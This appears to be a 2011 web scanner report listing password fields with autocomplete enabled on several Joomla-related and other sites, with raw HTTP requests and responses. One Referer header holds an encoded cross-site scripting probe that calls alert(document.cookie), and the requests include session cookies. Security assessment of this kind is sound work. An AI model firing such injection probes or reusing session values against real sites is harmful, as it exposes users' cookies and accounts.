HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:01:07 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: f2b89666f144681ba17ab9a0996f50e0=fc830a5138c7cd5b8f7f3fa60df9a70c; path=/ Last-Modified: Mon, 24 Jan 2011 16:01:12 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 64750
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <script src="http://www.jo ...[SNIP]... </h3>
The page contains a form with the following action URL:
http://www.joomlacorner.com/joomla-news/index.php
The form contains the following password field with autocomplete enabled:
passwd
Request
GET /joomla-news/608-joomla-16-has-arrived.html HTTP/1.1 Host: www.joomlacorner.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:16:02 GMT Server: Apache/2 X-Powered-By: PHP/5.2.16 Set-Cookie: 992260232bef5a730b1bd291176df96d=4a98f8c53f4541210928f4c67e558242; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: ja_anion_tpl=ja_anion; expires=Sat, 14-Jan-2012 15:16:02 GMT; path=/ Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 15:16:02 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding,User-Agent Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 31997
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The page contains a form with the following action URL:
https://www.joomlainorge.no/nyheter/joomla
The form contains the following password field with autocomplete enabled:
passwd
Request
GET /nyheter/joomla/552-joomlar-16-er-utgitt HTTP/1.1 Host: www.joomlainorge.no Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:15:22 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 536a515975b0bb224c84dbf364570dc5=d25c0652ad8dc304e171cefb60e2e9c9; path=/ Last-Modified: Mon, 24 Jan 2011 15:15:25 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 42125
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="nb-no" lang="nb-no" dir= ...[SNIP]... <div class="module mod-blank first last">
The page contains a form with the following action URL:
http://www.linkagogo.com/go/AddNoPopup
The form contains the following password field with autocomplete enabled:
password
Request
GET /go/AddNoPopup HTTP/1.1 Host: www.linkagogo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL:
http://www.lithuanianjoomla.com/index.php
The form contains the following password field with autocomplete enabled:
password
Request
GET / HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:05:32 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 21729
The page contains a form with the following action URL:
http://www.lithuanianjoomla.com/
The form contains the following password field with autocomplete enabled:
password
Request
GET /7-joomla-naujienos/70-joomla-160-isleista.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:15:25 GMT Server: Apache Set-Cookie: 2d3002958ebe475c6a8e5c841c44742a=ab02d207ed15eb2c3afc574ced1efe67; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 16612
The page contains a form with the following action URL:
http://www.lithuanianjoomla.com/apie-joomla.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /apie-joomla.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:04:04 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 21493
The page contains a form with the following action URL:
http://www.lithuanianjoomla.com/component/users/
The form contains the following password field with autocomplete enabled:
password
Request
GET /component/users/ HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:07:27 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 13648
The form contains the following password field with autocomplete enabled:
password
Request
GET /component/users/ HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:07:27 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 13648
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <div class="login">
The page contains a form with the following action URL:
http://www.lithuanianjoomla.com/index.php
The form contains the following password field with autocomplete enabled:
password
Request
GET /index.php HTTP/1.1 Host: www.lithuanianjoomla.com Proxy-Connection: keep-alive Referer: http://www.lithuanianjoomla.com/7-joomla-naujienosc1471%2522%253e%253cscript%253ealert%2528document.cookie%2529%253c%252fscript%253e4fb583d3360/70-joomla-160-isleista.html X-Requested-With: XMLHttpRequest Accept: text/javascript, text/html, application/xml, text/xml, */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:16:20 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 21848
The form contains the following password field with autocomplete enabled:
password
Request
GET /joomla-naujienos.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:04:06 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 21320
The form contains the following password field with autocomplete enabled:
password
Request
GET /joomla-naujienos/2-laikas-isrinkti-geriausia-pasaulyje-tvs.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:05:16 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 16695
The form contains the following password field with autocomplete enabled:
password
Request
GET /joomla-naujienos/3-lithuanianjoomlacom-logotipo-konkursas.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:05:15 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 17552
The form contains the following password field with autocomplete enabled:
password
Request
GET /joomla-naujienos/4-lietuviskas-joomla-puslapis-lithuanianjoomlacom.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:05:00 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 14423
The form contains the following password field with autocomplete enabled:
password
Request
GET /joomla-naujienos/5-pirmasis-joomla-gimtadienis.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:05:25 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 19125
The form contains the following password field with autocomplete enabled:
password
Request
GET /joomla-naujienos/6-joomla-vel-laimejo-geriausios-tvs-apdavanojimus.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:04:53 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 16181
The form contains the following password field with autocomplete enabled:
password
Request
GET /joomla-naujienos/65-joomla-1522-versija-istaiso-saugumo-spraga.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:04:51 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 15915
The form contains the following password field with autocomplete enabled:
password
Request
GET /joomla-naujienos/67-joomla-16-rc1-versija.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:04:37 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 16738
The form contains the following password field with autocomplete enabled:
password
Request
GET /joomla-naujienos/68-joomla-sveikinimas-sv-kaledu-ir-naujuju-metu-proga.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:04:36 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 15902
The form contains the following password field with autocomplete enabled:
password
Request
GET /joomla-naujienos/69-lithuanianjoomlacom-atnaujinama.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:04:34 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 15943
The form contains the following password field with autocomplete enabled:
password
Request
GET /joomla-naujienos/70-joomla-16-isleista.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:04:33 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 16643
The form contains the following password field with autocomplete enabled:
password
Request
GET /joomla-naujienos/71-lietuviu-kalba-joomla-16-versijai.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:04:32 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 15599
The form contains the following password field with autocomplete enabled:
password
Request
GET /joomla-sasajos.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:06:14 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 14582
The form contains the following password field with autocomplete enabled:
password
Request
GET /joomla-saugumas.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:06:23 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 13965
The form contains the following password field with autocomplete enabled:
password
Request
GET /joomla-versijos.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:06:29 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 16049
The form contains the following password field with autocomplete enabled:
password
Request
GET /kaip-idiegti-joomla.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:06:11 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 14060
The page contains a form with the following action URL:
http://www.lithuanianjoomla.com/kontaktai.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /kontaktai.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:05:53 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 17140
The form contains the following password field with autocomplete enabled:
password
Request
GET /lithuanianjoomlacom-misija.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:05:37 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 13425
The form contains the following password field with autocomplete enabled:
password
Request
GET /lithuanianjoomlacom-vizija.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:05:48 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 13484
The page contains a form with the following action URL:
http://www.lithuanianjoomla.com/naujienos.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /naujienos.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:05:49 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 13215
The page contains a form with the following action URL:
http://www.lithuanianjoomla.com/saugi-joomla.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /saugi-joomla.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:04:05 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 14353
The page contains a form with the following action URL:
http://www.lithuanianjoomla.com/saugi-joomla.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /saugi-joomla/75-kas-yra-saugus-patikimas-pilnas-joomla-turinio-valdymo-sistemos-paketas.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:04:14 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 15747
The page contains a form with the following action URL:
http://www.livejournal.com/update.bml
The form contains the following password field with autocomplete enabled:
password
Request
GET /update.bml HTTP/1.1 Host: www.livejournal.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 25 Jan 2011 04:43:03 GMT Server: Apache/2.2.3 (CentOS) X-AWS-Id: ws33 Set-Cookie: ljuniq=qSLA0OACBpHpEQx:1295930583:pgstats0:m0; expires=Saturday, 26-Mar-2011 04:43:03 GMT; domain=.livejournal.com; path=/ X-XSS-Protection: 0 Cache-Control: private, proxy-revalidate ETag: "0d1717ff7e20cf2aa2b1705c6fb92344" Content-length: 48142 Connection: close Content-Type: text/html; charset=utf-8 Content-Language: en
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
The page contains a form with the following action URL:
https://www.livejournal.com/login.bml?ret=1
The form contains the following password field with autocomplete enabled:
password
Request
GET /update.bml HTTP/1.1 Host: www.livejournal.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 25 Jan 2011 04:43:03 GMT Server: Apache/2.2.3 (CentOS) X-AWS-Id: ws33 Set-Cookie: ljuniq=qSLA0OACBpHpEQx:1295930583:pgstats0:m0; expires=Saturday, 26-Mar-2011 04:43:03 GMT; domain=.livejournal.com; path=/ X-XSS-Protection: 0 Cache-Control: private, proxy-revalidate ETag: "0d1717ff7e20cf2aa2b1705c6fb92344" Content-length: 48142 Connection: close Content-Type: text/html; charset=utf-8 Content-Language: en
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
The page contains a form with the following action URL:
https://www.myspace.com/auth/login
The form contains the following password field with autocomplete enabled:
Password
Request
GET /netlingo HTTP/1.1 Host: www.myspace.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL:
http://www.netlingo.com/login-action.php
The form contains the following password field with autocomplete enabled:
password
Request
GET /login.php HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:46:02 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Set-Cookie: PHPSESSID=p2kggg0b9m3bnq9c57hhsvlcl0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html Content-Length: 33956
The page contains a form with the following action URL:
http://www.netlingo.com/register-premium.php
The form contains the following password fields with autocomplete enabled:
password
password2
Request
GET /register-premium.php HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:00:27 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 56600
The page contains a form with the following action URL:
http://www.netlingo.com/register.php
The form contains the following password fields with autocomplete enabled:
password
password2
Request
GET /register.php HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:46:05 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Set-Cookie: PHPSESSID=sb796kqmjk5b811eau65ljq195; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html Content-Length: 46577
The form contains the following password field with autocomplete enabled:
upass
Request
GET /news/2010/100710-ebay-deploys-joomla-for-analytics.html HTTP/1.1 Host: www.networkworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) Cneonction: close Content-Type: text/html; charset=UTF-8 Cache-Control: private, max-age=300 Date: Tue, 25 Jan 2011 05:03:51 GMT Connection: close Connection: Transfer-Encoding Content-Length: 120158
The page contains a form with the following action URL:
http://www.noreastermagazine.com/index.php
The form contains the following password field with autocomplete enabled:
passwd
Request
GET / HTTP/1.1 Host: www.noreastermagazine.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:08:30 GMT Server: Apache X-Powered-By: PHP/5.2.10 Set-Cookie: 7f17775ebaca27b049989f22de967fcd=8770a74d6eac2afa63076869bfca0779; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 00:08:30 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 5572 Connection: close Content-Type: text/html; charset=utf-8
The page contains a form with the following action URL:
http://www.paperg.com/
The form contains the following password field with autocomplete enabled:
pass
Request
GET / HTTP/1.1 Host: www.paperg.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PHPSESSID=1a2a1fi9q2vop26mnuph8otr37;
Response
